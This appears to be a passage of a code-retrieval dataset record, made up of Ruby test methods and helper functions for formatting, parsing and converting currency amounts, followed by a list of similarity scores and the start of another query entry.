sThisTaskName = \"1000000.99 to 1,000,000.99\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000000.99\".format_to_currency(\"\", \",\")\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000000.99 to �1.000.000.99\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000000.99\".format_to_currency(\"�\", \".\")\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000000.999 to �1:000:000.99\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000000.999\".format_to_currency(\"�\", \":\")\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n\n\n rescue => e\n\n puts2(\"*** ERROR and Backtrace: \" + e.message + \"\\n\" + e.backtrace.join(\"\\n\"),\"ERROR\")\n\n # Raise the error\n raise(\"*** TESTCASE - test_Currency_002_Format_To_Amount\")\n\n ensure\n\n end # convert_StringToCurrency\n\n\n end",
"def test_number_to_currency\n\t\tassert ActionView::Helpers::NumberHelper\n\t\tobj = ActionView::Base.new\n\t\tassert_respond_to obj, 'number_to_currency'\n\t\tassert_respond_to obj, 'orig_number_to_currency'\n\t\t\n\t\tassert_equal \"$1,234,567,890.51\", obj.number_to_currency(1234567890.506), \"NOTE: This currency test should fail if locale has different currency format\"\n\tend",
"def test_convert_method\n convert_test = Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74}).convert( Currency.new('USD', 10), 'EUR' )\n assert_equal(Currency.new('EUR', 7.40), convert_test)\n end",
"def test_converter_takes_3_currencies\n assert_equal({'USD' => 1.00, 'EUR' => 0.74, 'JPY' => 120.0},\n Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74, 'JPY' => 120.0}).currency_list)\n end",
"def test_converter_returns_error_for_unknown_currency\n assert_raises(UnknownCurrencyCodeError){Currency_Converter.new({'USD' => 1.00, 'JPY' => 120.0}).convert( Currency.new('JPY', 120.0), 'ALL' )}\n end",
"def test_convert_currency_one_to_two\n #AGAIN....test passes if it doesn't work\n assert_raises ArgumentError do \n @apples_to_oranges.convert_currency_one_to_two\n end\n\n @converted_value = @apples_to_oranges.convert_currency_one_to_two(@amount)\n @expected_value = @amount*@apples_to_oranges.conversion_rate\n\n # This test will pass if it is right!\n assert_equal @expected_value, @converted_value\n end",
"def currency_converter amount, location\n case location\n when 'US' then \"$%.2f\" % amount\n when 'Japan' then \"$%.0f\" % amount\n when 'UK' then (\"$%.2f\" % amount).gsub('.', ',')\n end\nend",
"def validate_currency_format\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_one)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_two)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_three)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_four)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_five)\n raise 'Total is not in currency format' unless ValuesLib.check_currency_format(total_values)\n end",
"def convert_to(convert_currency)\n Money::Converter.new(amount, currency, convert_currency).convert \n end",
"def test_converter_takes_hash_input\n assert_equal({'USD' => 1.00, 'EUR' => 0.74}, Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74}).currency_list)\n end",
"def transaction_amount(currency_and_amount)\n currency = parse(currency_and_amount).first\n if currency == 'USD'\n amount = parse(currency_and_amount).last.to_f\n else\n amount = currency.to_f unless amount == 0.0\n end\n# self.amount = amount \n end",
"def test_basic_conversions\n assert_equal 1.292, 1.euro\n assert_equal 0.019, 1.rupee\n assert_equal 0.013, 1.yen\n assert_equal 1, 1.dollar\n end",
"def currency_format string\n while string.sub!(/(\\d+)(\\d\\d\\d)/,'\\1,\\2'); end\n string\n end",
"def parse(input, currency, strict: false, decimal_separator: decimal_separator_resolver&.call)\n raise ArgumentError, \"decimal separator cannot be nil\" unless decimal_separator\n\n currency = Money::Helpers.value_to_currency(currency)\n return unless currency\n\n normalized_input = input\n .tr('-0-9.,、、', '-0-9.,,,')\n .gsub(/[^\\d\\-#{Regexp.escape(decimal_separator)}]/, '')\n .gsub(decimal_separator, '.')\n amount = BigDecimal(normalized_input, exception: false)\n if amount\n Money.new(amount, currency)\n elsif strict\n raise ArgumentError, \"unable to parse input=\\\"#{input}\\\" currency=\\\"#{currency}\\\"\"\n end\n end",
"def test_receiving_amount_invalid_format\n parser = Parser::new\n transaction = \"Cyrus[10]\"\n assert_raises SystemExit do\n parser.parse_receiving_amount transaction\n end\n end",
"def setup(currency)\n iso4217 = currency.to_s.upcase\n ::Kernel.__send__ :define_method, iso4217 do |amount|\n value = [ iso4217, amount ].join ' '\n Monetize.parse value\n end\n end",
"def currency; end",
"def currency; end",
"def test_can_be_created\n currency = Currency.new(\"USD\", 1.0)\n\n assert_equal \"USD\", currency.currency_code\n assert_equal 1.0, currency.amount\n end",
"def disallow_currency_conversion!; end",
"def convert hash\n currency = detect_currency hash[:currency]\n return nil if currency == :not_expected\n\n amount = (hash[:amount]).delete(' _').sub(',', '.').to_f\n usdrub_rate = (usd_base_json['rates']['RUB']).to_f\n usdeur_rate = (usd_base_json['rates']['EUR']).to_f\n usdcad_rate = (usd_base_json['rates']['CAD']).to_f\n\n rate = usdrub_rate\n rate = usdrub_rate / usdeur_rate if currency == :EUR\n rate = usdrub_rate / usdcad_rate if currency == :CAD\n\n change_currency = currency != :RUB ? :RUB : :USD\n result = change_currency == :RUB ? (amount * rate) : (amount / rate)\n\n \"#{space_in result.round(2)} #{change_currency}\"\nend",
"def convert_to(target_currency)\n raise Exception.new(\"'target_currency' must be different from the current currency!\") \\\n if target_currency == self.currency\n result = self.amount * conversion_rate(target_currency)\n DaMoney::Money.new(result, target_currency)\n end",
"def convert_money(from_currency,to_currency)\n exchanger = Exchanger.new(find_wallet_account(from_currency),find_wallet_account(to_currency), find_exchange_rate(from_currency, to_currency))\n exchanger.exchange(:all)\n end",
"def currency_as_string; end",
"def test_traditional_unit_test\n assert_equal @market.calculate_cost(100.0, 10), 1000.00\n end",
"def get_USD (num_string)\n if num_string == nil || num_string.to_i == 0\n return num_string\n end\n\n num_string = num_string.to_s.split(\"\")\n\n usd = [\"$\"]\n\n num_string.each_with_index do |num, index|\n if index == ((num_string.length) -1)\n usd << \"#{num}.00\"\n elsif index != 0 && index % 3 == 0\n usd << \",#{num}\"\n else\n usd << num.to_s\n end\n end\n return usd.join(\"\")\n end",
"def parse_amount amount_string\n if amount_string.index(\".\") == 0\n amount_str = \"0\"+amount_str.to_s\n end\n amount_string.gsub(/[^\\d\\.]/, \"\").scan(/\\d+\\.?\\d*/)[0].to_f rescue nil\n end",
"def parse_amount amount_string\n if amount_str.index(\".\") == 0\n amount_str = \"0\"+amount_str.to_s\n end\n amount_string.gsub(/[^\\d\\.]/, \"\").scan(/\\d+\\.?\\d*/)[0].to_f rescue nil\n end",
"def test_should_currency_of_same_amount_and_code\n currency1 = Currency.new(\"USD\", 1.0)\n currency2 = Currency.new(\"USD\", 1.0)\n assert_equal currency1, currency2\n end",
"def convert_to(target_currency)\n make_call(currencies(target_currency))\n end",
"def currency_conversion(price = 0.0)\n exchange = 6.98\n price * exchange\nend",
"def to_usd(amt, currency)\n unless currency == \"USD\"\n path = @xml_parser.find_conversion_path(currency, \"USD\")\n amount = @xml_parser.get_rates_from_xml(path[0])\n #pp path # print the path array (for debug if you need it)\n\n #conversion = find_conversion_amt(currency, \"USD\")\n else\n conversion = BigDecimal.new('1') \n end\n amt = BigDecimal(amt)\n amount = amt * conversion\n #puts \"amount is #{amount}\"\n round_banker_style(amount)\n end",
"def to_currency\n reverse.scan(/(?:\\d*\\.)?\\d{1,3}-?/).join(',').reverse\n end",
"def test_should_be_able_to_subtract\n currency1 = Currency.new(\"USD\", 1.0)\n currency2 = Currency.new(\"USD\", 5.0)\n assert_equal Currency.new(\"USD\", 4.0), currency2.-(currency1)\n end",
"def format\n \"#{amount} #{currency}\"\n end",
"def convert_money(currency)\n return currency.to_f / 100\n # if currency.to_s.include?(\".\")\n # return currency\n # else\n # return currency.to_f / 100\n # end\n end",
"def convert_to_metric(amount, conversion_factor)\n puts \"converting...\"\n amount * conversion_factor\nend",
"def currency_converter\n puts\"How many eros are you exchanging?\"\n amount_from = gets.chomp.to_f\n\n puts\"What is the exchange rate?\"\n rate_from = gets.chomp.to_f\n\n amount_to = ((amount_from.round(2)) * (rate_from.round(2))/1)/100\n\n\n puts \"#{amount_from} euros at a rate of #{rate_from} is #{amount_to.round(2)} USD\"\n\nend",
"def test_payment_amount_for_output_with_sum_of_interest_and_payment\n eob = insurance_payment_eobs(:eob_57)\n facility = facilities(:facility_94)\n facility_output_config = facility_output_configs(:facility_config_226)\n total_payment_amount_for_output = eob.payment_amount_for_output(facility, facility_output_config)\n assert_equal(total_payment_amount_for_output, 48.00)\n end",
"def currency(amount)\n number_to_currency amount.to_s, {:unit => \"\", :delimiter => ',', :seperator => '.'}\n end",
"def convert(dollars, currency)\n yield(dollars, currency) if dollars.is_a?(Numeric)\nend",
"def convert(dollars, currency)\n yield(dollars, currency) if dollars.is_a?(Numeric)\nend",
"def convert(dollars, currency)\n yield(dollars, currency) if dollars.is_a?(Numeric)\nend",
"def parse_amount_owed text_amount\n (parse_amount_cents text_amount).abs\n end",
"def convert_to_euros_1(dollars)\n dollars * 0.95 if dollars.is_a?(Numeric)\nend",
"def currency_conversions(price = 0.0)\n convert_dollars = price * EXCHANGE_DOLLARS\n convert_euros = price * EXCHANGE_EUROS\n return convert_dollars, convert_euros\nend",
"def convert_to(to_currency)\n Money.new(self.amount * exchange_rate(to_currency), to_currency)\n end",
"def convert(euros, exchange_rate)\n euros * (exchange_rate / 100)\nend",
"def test_should_not_currency_of_same_amount_and_code\n currency1 = Currency.new(\"USD\", 1.0)\n currency2 = Currency.new(\"USD\", 5.0)\n refute_equal currency2, currency1\n end",
"def test_convert_cash_g_s\n seed = 10\n prng = Random.new seed\n id = 1\n pros = Prospector.new id, prng\n gold = 2\n silver = 2\n actual = pros.convert_metals_to_cash gold, silver\n expected = 43.96\n assert_equal expected, actual\n end",
"def get_price_of_bitcoin\n data = get_data_from_website(BLOCKCHAIN_WEBSITE)\n price = get_price_in_usd(data)\n # This converts the string to a floating point number\n # Another conversion instruction is to_i (integer)\n price.to_f\nend",
"def calculate_conversion\n converted_amount = nil\n\n # checking parameters before calculating the conversion rate\n if currency_converter_params[:rate_date] != \"\" or currency_converter_params[:from_cur] != \"\" or currency_converter_params[:to_cur] != \"\"\n rate = ExchangeRate.at( currency_converter_params[:rate_date].to_date, currency_converter_params[:from_cur], currency_converter_params[:to_cur])\n converted = false\n # rate is not nil go on and do the conversion\n if rate\n converted_amount = currency_converter_params[:amount].to_f * rate\n # rounding the amount to 5 decimal places\n converted_amount = converted_amount.round(5)\n converted = true\n\n # write the success message\n message = I18n.t('success_message', amount: converted_amount.to_s).html_safe\n else\n # failure message\n message = I18n.t('failure').html_safe\n end\n else\n # missing data message\n converted = false\n message = I18n.t('missed_data').html_safe\n end\n respond_to do |format|\n if converted\n format.json {render json: {success: true, message: message, amount: converted_amount} }\n else\n format.json {render json: {success: false, message: message, amount: \"\"}, status: 422 }\n end\n end\n end",
"def collection_currency\n card_prices = []\n current_user.cards.each do |card|\n price = remove_dot(card.usd_price)\n card_prices << Money.new(price) * card.quantity \n end\n # call `format`\n card_prices.inject(:+) \n end",
"def to_currency(num)\n format(\"$%.2f\",num)\nend",
"def converted_amount(other)\n (currency == other.currency ? other : other.convert_to(currency)).amount.to_f\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n converted_number = OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n converted_number = OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def parse_currency(currency)\n BigDecimal.new(currency.gsub(/[^0-9.-]/, ''))\n end",
"def convert_to_euros(dollars)\n if dollars.is_a?(Numeric)\n dollars * 0.95\n end\nend",
"def detect_currency value\n case value.to_s.strip\n when /\\$|USD|dollar[s]?|бакс[а-я]{0,2}|доллар[а-я]{0,2}|грин[а-я]?/i\n :USD\n when /€|EUR[a-z]{0,2}|евро/i\n :EUR\n when /₽|RUB{0,4}|руб[a-zа-я]{0,4}|деревян[a-zа-я]{0,3}/i\n :RUB\n when /CAD/i\n :CAD\n else\n :not_expected\n end\nend",
"def formated_in_provided_currency(amount_cents, currency_code, no_cents_if_whole = false)\n Money.new(amount_cents, currency_code).format(:no_cents_if_whole => no_cents_if_whole)\n end",
"def currency_as_string=(val); end",
"def convert_to(to_currency)\n\t\tfrom_currency = self.currency\n\t\trate = Money.getRate(from_currency, to_currency)\n\n\t\tconverted_amount = self.amount * rate\n\n\t\tMoney.new(converted_amount, to_currency)\n\tend",
"def with_currency(new_currency); end",
"def gsubber(money)\n money.split(/^[\\D|$]{2,3}/).pop\n money.gsub!(/^[\\D|$]{2,3}/,'')\n money.gsub!(/k$/i,'000')\n money.gsub!(/,/,'')\n money.gsub!(/\\.0+/,'')\n end",
"def tobeamount(obj)\n\t\tif obj.to_s =~ /(\\d+)([.]\\d{1,2})?/\n\t\t\tamt = $1 + ($2 || '.00')\n\t\t\treturn amt.to_f\n\t\tend\n\t\treturn nil\n\tend",
"def test_convert_cash_g\n seed = 10\n prng = Random.new seed\n id = 1\n pros = Prospector.new id, prng\n\n gold = 2\n silver = 0\n actual = pros.convert_metals_to_cash gold, silver\n expected = 41.34\n assert_equal expected, actual\n end",
"def currency_amount\n # define this elsewhere\n currencymark = '$'\n if self.credit?\n sprintf(\"%s%0.2f\",currencymark,self.amount)\n else\n # put minus sign before dollar\n sprintf(\"-%s%0.2f\", currencymark, self.amount.abs)\n end\n end",
"def test_transactions_char_coins\r\n account_tracker = Minitest::Mock.new('test_account_tracker')\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n block_checker.expect(:parse, [\"SYSTEM>123456(a)\"], [\"SYSTEM>123456(a)\", \":\"])\r\n block_checker.expect(:parse, [\"SYSTEM\", \"123456(a)\"], [\"SYSTEM>123456(a)\", \">\"])\r\n block_checker.expect(:parse, [\"123456\", \"a)\"], [\"123456(a)\", \"(\"])\r\n block_checker.expect(:check_digits, true, [\"123456\"])\r\n block_checker.expect(:get_coins, \"a\", [\"123456(a)\"])\r\n def block_checker.check_coins(string); nil; end\r\n def block_checker.check_last_char(string, char); nil; end\r\n output = \"Line 0: Invalid coin format for transaction 1: \\'SYSTEM>123456(a)\\'\"\r\n assert_equal output, @g.transactions( 'SYSTEM>123456(a)', account_tracker, block_checker, 0)\r\n end",
"def prepare_amount amount\n BigDecimal.new(amount)/100\n end",
"def dollar amt\n #TOOD: need commas in the right places\n sprintf \"$%0.02f\", amt\nend",
"def check_value(text)\n\n #this method recieves a string representing a payment value in the format 19,470.99\n #Then it takes off the comma (\",\") and parse it to float format as 19470.99\n begin\n return text.gsub(\",\",\"\").to_f\n rescue\n return nil\n end\n\n end",
"def checkCurrency(string_variable)\n # returns string_variable as a float\n # else returns false and error msg if string_variable can't be a number or a valid dollar amount \n \n if checkNum?(string_variable) == false\n return false\n end\n \n # check for max 2 places past decimal point\n decimalIndex = string_variable.index('.')\n if decimalIndex != nil\n if string_variable.length - decimalIndex > 3\n puts \"\\t#{string_variable} is NOT a valid dollar amount\"\n return false\n end\n end\n \n float_variable = string_variable.to_f\n if float_variable >= 0\n return float_variable\n else\n return false\n end\n end",
"def CheckDecimals(str)\r\n currentdec = Sketchup.active_model.options[\"UnitsOptions\"][\"LengthPrecision\"]\r\n# puts \"currentdec #{currentdec}\\n\"\r\n str.chomp!('mm')\r\n str.chomp!('\"')\r\n while str[/0$/] == '0' #remove trailing 0's\r\n str.chop!\r\n# puts \"chopped #{str}\\n\"\r\n end\r\n bits = str.split('.')\r\n# puts \"bits #{bits}\\n\"\r\n if (bits.length == 2)\r\n newdec = bits[1].length\r\n# print \"newdec #{newdec}\\n\"\r\n if newdec > currentdec\r\n Sketchup.active_model.options[\"UnitsOptions\"][\"LengthPrecision\"] = newdec\r\n# puts \"precision set to #{newdec}\\n\"\r\n end\r\n else\r\n if (bits.length == 1) # then we don't have any decimal numbers so if we previously set it large, lets reduce it\r\n if (currentdec > 3)\r\n if (PhlatScript.isMetric)\r\n newdec = 2\r\n else\r\n newdec = 4\r\n end\r\n Sketchup.active_model.options[\"UnitsOptions\"][\"LengthPrecision\"] = newdec\r\n# puts \"precision set down to #{newdec}\\n\"\r\n end\r\n end\r\n \r\n end\r\n \r\n end",
"def infer_amount!\n self.amount = nil\n\n full_description = \"#{quantity} #{notes}\".downcase\n\n inferred = full_description.gsub(/[a-z|\\s]/, '').to_f\n self.amount = inferred if inferred > 0\n\n if self.amount == nil\n Rails.logger.warn \"Couldn't infer amount from [#{full_description}]\"\n end\n end",
"def to_ps_money\n return nil if self.nil?\n return \"00\" if self.to_f == 0\n \n value = self.to_s\n\n # obtem a parte fracionaria e transforma em string.\n frac = value.to_f - value.to_i\n frac = frac.to_s + \"0\" \n frac = frac[2..3]\n # Se tiver parte inteira, concatena com a parte fracionaria\n inteiro = \"\"\n inteiro = value.to_i.to_s if value.to_f.truncate > 0\n inteiro + frac\n end",
"def test_should_multiply_by_a_Fixnum_or_Float\n currency1 = Currency.new(\"USD\", 4.0)\n\n assert_equal Currency.new(\"USD\", 12.0), currency1 * 3\n end",
"def convert(amount, currency_from, currency_to)\n return Money.new(amount, currency_from).exchange_to(currency_to).fractional\n end",
"def to_price(amount)\n amount.to_s.gsub(/[^\\d]/, \"\").gsub(/^(\\d+)(\\d{2})$/, '\\1.\\2').to_f\n end",
"def to_price(amount)\n amount.to_s.gsub(/[^\\d]/, \"\").gsub(/^(\\d+)(\\d{2})$/, '\\1.\\2').to_f\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def amt\n amount.gsub(/,|\\)'/, '')\n end",
"def convert_to(exchange_currency)\n begin\n exchange_currency = Money::InputSanitizer.sanitize_currency(exchange_currency,Money::CrossRate.get_all_available_currencies)\n Money::LiveConverter.new(@amount.to_f*Money::CrossRate.get_cross_value_for_currency(@currency,exchange_currency),exchange_currency)\n rescue RuntimeError => e\n puts \"#{e.message}\"\n end\n end",
"def format(*rules)\n return self.class.zero if zero? && self.class.zero\n\n # This section included for compatiblity since format in this fork\n # uses a splatted array instead of a hash to accept parameters\n # Hashes are needed to pass multi-dimensional parameters such as :precison => 5\n # BEGIN compatibility block\n rules_hash = {}\n rules.each do |rule|\n if rule.is_a?(Hash)\n rule.each_key do |key|\n rules.push(key)\n rules_hash[key] = rule[key]\n end\n end\n end\n # END of compatibility block\n\n # flattening array to allow explicit passing of arrays\n rules = rules.flatten\n\n formatted =\n if rules.include?(:no_cents)\n \"$#{to_s(0)}\"\n elsif rules.include?(:precision)\n \"$#{to_s(rules_hash[:precision])}\"\n else\n \"$#{to_s(2)}\"\n end\n\n # BJM: Apply thousands_separator\n thousands_separator_value = ','\n decimal_separator = '.'\n regexp_decimal = Regexp.escape(decimal_separator)\n\n formatted_parts = formatted.split(decimal_separator)\n integer_part = formatted_parts.first\n decimal_part = formatted_parts.last unless rules.include?(:no_cents)\n\n integer_part.gsub!(/(\\d)(?=(?:\\d{3})+(?:[^\\d]{1}|$))/, \"\\\\1#{thousands_separator_value}\")\n\n formatted = \"#{integer_part}\"\n\n formatted += \"#{decimal_separator}#{decimal_part}\" unless rules.include?(:no_cents)\n\n # BJM: move negative outside ($-2.00 => -$2.00)\n formatted.gsub!('$-', '-$')\n\n # BJM: use parenthesis if requested and required\n if rules.include?(:parenthesize_negative) && formatted.gsub!('-$', '$')\n formatted = \"(#{formatted})\"\n end\n\n if rules.include?(:with_currency)\n formatted << \" \"\n formatted << '<span class=\"currency\">' if rules.include?(:html)\n formatted << currency\n formatted << '</span>' if rules.include?(:html)\n end\n \n formatted\n end",
"def getamt(input) \n usdollaramt = input.to_s.gsub(/[^0-9.]+/, '')\n @amount = usdollaramt.to_i\n if @amount.between?(100,100000000)\n @output.puts 'The principal amount you entered is: ' + @amount.to_s\n @status = 'valid'\n else\n @output.puts 'Oops, Principal Amount must be between $100 and $100M!'\n end\n return @amount \n end",
"def get_Currency()\n \t return @outputs[\"Currency\"]\n \tend",
"def test_format_decimal_nil\n assert_equal \"-\", Spout::Helpers::TableFormatting.format_number(nil, :decimal)\n end",
"def to_currency(amount)\n number_to_currency amount, :precision => 0\n end",
"def unit_formats(type)\n #find statements\n #if sales[0]< 1000 and tot assets[0] < 1000\n #$xxx,xxx.x\n #else\n #$xxx,xxx\n #end\n end",
"def test_calculateChange\n\t# vm = VendingMachine.new\n\tvm = VendingMachine.new(@db)\n\tvm.output = StringIO.new\n\tvm.calculateChange(1.00)\n\tassert_equal(\"Quarters: 4\", vm.output.string.strip)\n\n\tvm.output = StringIO.new\n\tvm.calculateChange(0.37)\n\tassert_equal(\"Quarters: 1, Dimes: 1, Pennies: 2\", vm.output.string.strip)\nend",
"def number_to_currency(amount)\n super(amount, unit: \"₹\")\n end",
"def us_dollar(cents); end",
"def real_amount()\n Bankjob.string_to_float(amount, @decimal)\n end",
"def format_amount(amount, currency)\n units = CURRENCY_SPECIAL_MINOR_UNITS[currency] || 2\n multiple = 10**units\n return ((amount || 0).to_d * multiple.to_d).to_i\n end",
"def test_convert\n assert_equal(\"test and tested\", @tester.convert)\n assert_equal(\"test, tester, and tested\", @tester2.convert)\n end",
"def delimiters(text)\n dots = text.count('.')\n has_dots = dots > 0\n\n has_commas = text.include?(',')\n has_spaces = text.include?(' ')\n\n possible_dollars, possible_cents = text.split('.') if dots == 1\n\n single_dot_cents_delimiter = dots == 1 &&\n !has_commas && !has_spaces &&\n (possible_dollars.to_i == 0 || (possible_cents.length > 2 && possible_cents.to_i != 0))\n\n cents_delimiter = if has_dots && text.match(/\\.[0-9]{1,2}$/)\n '.'\n elsif has_commas && text.match(/,[0-9]{1,2}$/)\n ','\n elsif single_dot_cents_delimiter\n '.'\n end\n\n thousands_delimiter = if cents_delimiter == '.' && has_commas\n ','\n elsif cents_delimiter == ',' && has_dots\n '.'\n end\n if thousands_delimiter.nil? && cents_delimiter.nil?\n thousands_delimiter = if has_dots\n '.'\n elsif has_commas\n ','\n end\n end\n\n thousands_delimiter = ' ' if thousands_delimiter.nil? && has_spaces\n\n if !cents_delimiter.nil? && text.count(cents_delimiter) > 1\n warn('invalid input')\n cents_delimiter = nil\n thousands_delimiter = nil\n end\n\n # puts \"#{text} => cents, thousands => #{[cents_delimiter, thousands_delimiter]}\"\n raise if !cents_delimiter.nil? && !thousands_delimiter.nil? && cents_delimiter == thousands_delimiter\n\n [cents_delimiter, thousands_delimiter]\nend",
"def format_amount(amount)\n ActionController::Base.helpers.number_to_currency(amount.to_f / 100)\n end",
"def to_currency_z(val, currency=:usd)\n if currency == :usd\n ApplicationController.helpers.number_with_precision(val,\n precision: 2, separator: '.')\n else\n val\n end\n end",
"def to_dollars(currency_code, amount)\n curr = RATES.fetch(currency_code)\n total = amount * curr\n return total.round(2)\nend"
] |
[
"0.8010059",
"0.7927569",
"0.6757907",
"0.6672394",
"0.6119681",
"0.6064522",
"0.606368",
"0.6036254",
"0.59897155",
"0.59673375",
"0.5908482",
"0.58114237",
"0.57842463",
"0.57696116",
"0.5628063",
"0.55999917",
"0.55829656",
"0.5582104",
"0.5582104",
"0.5564438",
"0.5562517",
"0.5561125",
"0.5529043",
"0.55176526",
"0.54961807",
"0.54841685",
"0.5457689",
"0.54557264",
"0.54548806",
"0.5452339",
"0.5450919",
"0.5428212",
"0.54198927",
"0.54090554",
"0.53900635",
"0.53762597",
"0.5363719",
"0.5359027",
"0.53278863",
"0.5321589",
"0.5308349",
"0.53029436",
"0.53029436",
"0.53029436",
"0.52923876",
"0.52819246",
"0.5274652",
"0.5269222",
"0.52655303",
"0.5258727",
"0.5249487",
"0.5244039",
"0.52393264",
"0.5232692",
"0.5232561",
"0.5227069",
"0.5221278",
"0.5221278",
"0.5219432",
"0.5219431",
"0.52149546",
"0.52139354",
"0.5207179",
"0.5204875",
"0.5204394",
"0.5204218",
"0.520369",
"0.5200682",
"0.51999605",
"0.51758444",
"0.51756084",
"0.5175226",
"0.51740396",
"0.51692784",
"0.516322",
"0.51579136",
"0.51536816",
"0.5143496",
"0.5141597",
"0.51271456",
"0.51271456",
"0.51271284",
"0.5120745",
"0.5120028",
"0.51140094",
"0.5112109",
"0.51103026",
"0.51054657",
"0.5105014",
"0.50995994",
"0.5096077",
"0.50943404",
"0.5080817",
"0.5074328",
"0.5072423",
"0.5060694",
"0.5059604",
"0.5048262",
"0.5046566",
"0.5042169"
] |
0.55966675
|
16
|
End of test method test_Currency_001_CommaDelimit =========================================================================== Testcase method: test_Currency_002_Format_To_Amount Description: Tests WatirWorks method: format_to_currency(...) Attempts to convert strings to amounts ===========================================================================
|
def test_Currency_002_Format_To_Amount
puts2("")
puts2("#######################")
puts2("Testcase: test_Currency_002_Format_To_Amount")
puts2("#######################")
begin # convert_ToCurrency
############################
sThisTaskName = "1000 to $1,000.00"
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000 to �1.000.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000".format_to_currency("�", ".")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = " 1000 to �1.000.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = " 1000 ".format_to_currency("�", ".")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000.5 to $1,000.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000.5".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1.1 to $1.10"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1.1".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1 to $1.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = ".01 to $0.01"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = ".01".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = ".1 to $0.10"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = ".1".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1. to $1.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1.".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000000.99 to 1,000,000.99"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000000.99".format_to_currency("", ",")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000000.99 to �1.000.000.99"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000000.99".format_to_currency("�", ".")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000000.999 to �1:000:000.99"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000000.999".format_to_currency("�", ":")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
rescue => e
puts2("*** ERROR and Backtrace: " + e.message + "\n" + e.backtrace.join("\n"),"ERROR")
# Raise the error
raise("*** TESTCASE - test_Currency_002_Format_To_Amount")
ensure
end # convert_StringToCurrency
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_Currency_003_Format_From_Amount\n\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Currency_003_Format_From_Amount\")\n puts2(\"#######################\")\n\n begin # convert_StringFromCurrency\n\n\n ############################\n sThisTaskName = \"$1,000 to 1000\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1,000\".format_from_currency(\"$\", \",\", true)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1,000,000.00 to 1000000.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1,000,000.00\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"�1.000.50 to 1000\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"�1.000.50\".format_from_currency(\"�\", \".\", true)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1.000.5 to 1000.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1.000.5\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1,000,000.50 to $1000000\"\n 